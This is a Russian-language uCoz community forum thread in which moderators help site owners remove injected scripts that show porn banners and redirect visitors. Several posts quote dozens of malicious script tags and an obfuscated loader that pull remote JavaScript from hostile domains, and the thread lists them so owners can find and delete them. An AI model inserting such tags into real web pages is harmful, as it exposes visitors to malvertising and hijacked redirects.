Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Если на вашем сайте появились порнобаннеры
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1 | 15:57:08
Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов:

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script>
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/98vihkxfbix863weu7zv9wqxjxhbbdh'></script>
<script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Актуальные на данный момент и самые распространенные эти скрипты

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://bobrilla.com/7h4p5qn4qhr8ee1ywr1nh01af3d31nbp'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://fasterdir.ru/8v0n2hh3me45jvyxrtdyc4164r61v4ut'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>


Код
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobatori.com/6h3mo39hhqx8pibnjyshzo13skikuus5'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://chicop.ru/68sb0mshp9b78t1epj44r8zi8bjocb9'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script>


Код

<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>



Как удалить:

1) Код как правило внедряется в шаблоны Страницы сайта. Модуль новости (все шаблоны) но могут быть варианты. Иногда код внедряется во все шаблоны сайта.
Прописывается в верхней части шаблона или в самом низу. Реже встречается в футере (глобальный блок Нижняя часть сайта)

2) Для удаления нужно воспользоваться функцией Быстрой замены. Для этого надо пройти в панель управления - Дизайн - Управление дизайном - Быстрая замена - В поле "Что заменить" вставляете скрипт (даже если внедрено много скриптов лучше удалять по одному) - Поле на что изменить оставляете пустым и производите замену во всех действующих модулях
Если скриптов много внедрено, можно попробовать многострочную замену по той же схеме
3) После очистки сайта от внедренного кода нужно обязательно сменить пароль uID профиля, которым администрируете сайт. Инструкция по изменению пароля находится тут //forum.ucoz.ru/forum/45-52299-1
4) Если после изменения uID пароля на новый сложный у вас снова и снова возникает проблема внедрения чужеродного кода, то выполните следующие инструкции:
1) создайте нового пользователя в панели управления сайтом: задайте ему Логин и сложнейший пароль
2) дайте созданному пользователю права администратора, а у бывшего uID профиля, которым администрировали сайт заберите права и переведите его в низшую группу
3) в общих настройках сайта поставьте старый Вид кнопки uID авторизации и далее администрируйте сайт локально
5) Если локальный способ администрирования для вас не подходит, то создайте в системе ещё один uID профиль, на котором не будет сайтов и прав управления ни одним из сайтов. И новый созданный профиль используйте для авторизации на сайтах системы uCoz с uID авторизацией. А uID профилем, которым вы администрируете сайт или сайты заходите только к себе на сайты и более никуда. И поставьте на uID пароль администратора сайта сложнейший пароль!
6) Заберите права доступа к админ бару другим администраторам и модераторам вашего сайта. не пускайте никого в панель управления сайтом
7) Будьте внимательны к письмам, которые приходят на вашу почту. Часто мошенники имитируют письма от вебсервиса uCoz, в которых просят вас пройти или верификацию или пройти по ссылкам, также просят ввод ваших данных (вебтоп пароль и пароль uID профиля или секретный вопрос и ответ). Если вы сомневаетесь в письме, которое вам пришло от имени сервиса, вы можете всегда спросить или на форуме в этой теме //forum.ucoz.ru/forum/45-46950-1 или перешлите его сразу на адрес abuse@ucoz.ru
Будьте всегда бдительны и следите за темой //forum.ucoz.ru/forum/45-35739-1


Если вы вообще ничего не поняли, но проблема появления всплывающих порнобаннеров и переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает (если есть переброс), а так же указать происходит это под логином или под гостем

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 76 | 14:21:36
๑۩Kirill۩๑, панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставляем скрипт

Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>


поле на что заменить оставляем пустым и производим замену во всех модулях

после удаления меняем пароль uid профиля. инструкция тут //forum.ucoz.ru/forum/45-52299-1
далее читайте первое сообщение темы обязательно //forum.ucoz.ru/forum/45-57475-1093991-16-1380628628

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
miranda2509
Сообщений: 6
Репутация: 0

Сообщение # 77 | 19:25:20
Здравствуйте, уважаемые форумчане. Очень срочный вопрос. Сравнительно молодой школьный сайт с подключенной услугой "Базовый", сегодня появилась реклама сразу нескольких сайтов, как можно отключить??? ни в коем случае рекламы не должно быть на образовательных сайтах, не дай бог с департамента по образованию увидят...(((((((((((( подскажите, пожалуйста!
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 78 | 19:38:40
miranda2509, где адрес проблемного сайта и как внимательно вы читали правила создания тем?

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Ларин
Сообщений: 333
Репутация: 110

Сообщение # 79 | 20:58:13
Цитата miranda2509 ()
Здравствуйте, уважаемые форумчане. Очень срочный вопрос. Сравнительно молодой школьный сайт с подключенной услугой "Базовый", сегодня появилась реклама сразу нескольких сайтов, как можно отключить??? ни в коем случае рекламы не должно быть на образовательных сайтах, не дай бог с департамента по образованию увидят...(((((((((((( подскажите, пожалуйста!
исходя из всего того что вы нам тут предоставили, а это кучу ненужных слов с бесконечно дурацким названием топика
можно сказать только одно, что вам лучше не стоит соваться туда где вы полный ноль
п.с. если услуга на самом деле подключена то вывод только один, вы устанавливаете всякую дрянь из интернета на свой сайт...

Ищу партнера для совместного создания проекта (писать в лс)
Знания не требуются, всему что нужно научу.
miranda2509
Сообщений: 6
Репутация: 0

Сообщение # 80 | 21:53:34
webanet, http://sch23-voronsovk.ucoz.ru/ правила совсем не читала, очень торопилась
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 81 | 21:58:55
miranda2509, панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставляете скрипт

Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>


поле на что заменить оставляете пустым и производите замену во всех модулях

после очистки меняете пароль уид профиля. инструкция тут //forum.ucoz.ru/forum/45-52299-1
обязательна к прочтению эта тема //forum.ucoz.ru/forum/45-57475-1

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
miranda2509
Сообщений: 6
Репутация: 0

Сообщение # 82 | 22:16:40
webanet, спасибо!
neta
Сообщений: 2
Репутация: 5

Сообщение # 83 | 14:55:07
Добрый день!
Пожалуйста, подскажите, какой код мне нужно вставить в графе ЧТО ЗАМЕНИТЬ.
Из службы техподдержки мне любезно, делая снисхождения на счет моей ЧАЙНИКОВОСТИ, прислали , как я понимаю, список вредоносных кодов, которые внедрились у меня на сайте . Оптом. Я уж по-всякому их копировала, пытаясь разделить на нужные куски.. Ничего не выходит, всплывает окно с надписью, отвергающей правильность ввода кода..
Как же это разделить на кусочки? Помогите разобраться, пожалуйста, для меня это настоящая КИТАЙСКАЯ ГРАМОТА..
вот что я получила из службы поддержки :
Код
<script type='text/javascript' src='[url=http://games-portal.net.ua/jquery1.6.js']http://games-portal.net.ua/jquery1.6.js'[/url]></script><script type="text/javascript" src="[url=http://badminton.land.ru/jquery1.6.js]http://badminton.land.ru/jquery1.6.js[/url]"></script></div><script type="text/javascript">try { var nl=document.getElementById("menuDiv").getElementsByTagName("a"); var found=-1; var url=document.location.href+"/"; var len=0; for (var i=0;i<nl.length;i++){ if (url.indexOf(nl[i].href)>=0){ if (found==-1 || len<nl.href.length){ found=i; len=nl.href.length; } } } if (found>=0){ nl[found][/i].className="ma"; } } catch(e){}</script>


Добавлено (26 Фев 2014, 14:55:07)
---------------------------------------------
Оптом все тоже не удается, даже если пользуешься опцией МНОГОСТРОЧНЫЙ РЕЖИМ ЗАМЕНЫ
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 84 | 14:56:10
neta, в поле что заменить вставьте скрипт

Код
<script type='text/javascript' src='http://games-portal.net.ua/jquery1.6.js'></script>


потом произведите замену

потом в поле что заменить вставьте этот скрипт

Код
<script type="text/javascript" src="http://badminton.land.ru/jquery1.6.js"></script>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Nadezhda7828
Сообщений: 2
Репутация: 0

Сообщение # 85 | 20:19:10
Сайт http://egovkinanv.ucoz.ru
Перебрасывает на несколько сайтов и под логином, и под гостем.
Пробовала заменять предложенные скрипты, на всё получила ответ - Не сделано ни одной замены. Проверьте правильность заменяемого кода.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 86 | 20:31:44
Nadezhda7828, панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставляете скрипты по очереди

Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>

Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>

Код
<script type="text/javascript" src="http://pjatnuchanu.ucoz.ua/adblock.txt"></script>


поле на что заменить оставляете пустым каждый раз и производите замену во всех используемых модулях. после очистки смените обязательно пароль uid профиля, которым администрируете сайт. инструкция тут //forum.ucoz.ru/forum/45-52299-1
забрать доступ в панель управления и к коду сайта у всех кроме вас
и читайте первое сообщение данной темы

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Nadezhda7828
Сообщений: 2
Репутация: 0

Сообщение # 87 | 20:44:22
Огромное спасибо!
Пароль сменила.
надежда7979
Сообщений: 4
Репутация: 0

Сообщение # 88 | 10:12:03
Доброе утро товарищи форумчане))
Сайт Школы, уже бывало такое, что появлялись скрипты, их благополучно удаляли, сменить пароль не было возможности.
Сейчас снова появились банеры, так же пропало все меню сайта, после поиска скриптов в коде всех страниц- его не обранужил.
Подскажите что можно сделать?
сondor
Сообщений: 4661
Репутация: 1528

Сообщение # 89 | 10:46:40
надежда7979, прежде всего вам необходимо избавиться от следующего скрипта:

Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8s1tfa059ua8pic8ogfy3173ytn2d4h247hqzdngnqs5mkl'></script>


Для этого переходите в Панель Управления - Дизайн - Управление дизайном - Быстрая замена.

В поле что заменить вставляете этот скрипт, а поле на что заменить оставляете пустым. Производите замену во всех модулях.
Как только удалите скрипт, обязательно смените пароль uID профиля, читаем инструкцию //forum.ucoz.ru/forum/45-52299-1
Еще советую почитать самое первое сообщение темы //forum.ucoz.ru/forum/45-57475-1
надежда7979
Сообщений: 4
Репутация: 0

Сообщение # 90 | 10:53:27
Condor, Благодарю за быстрый ответ, Но при попытке сделать все вышеперечисленное выдает надпись "Не сделано ни одной замены
Проверьте правильность заменяемого кода"
Что делать в этом случае?
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Поиск: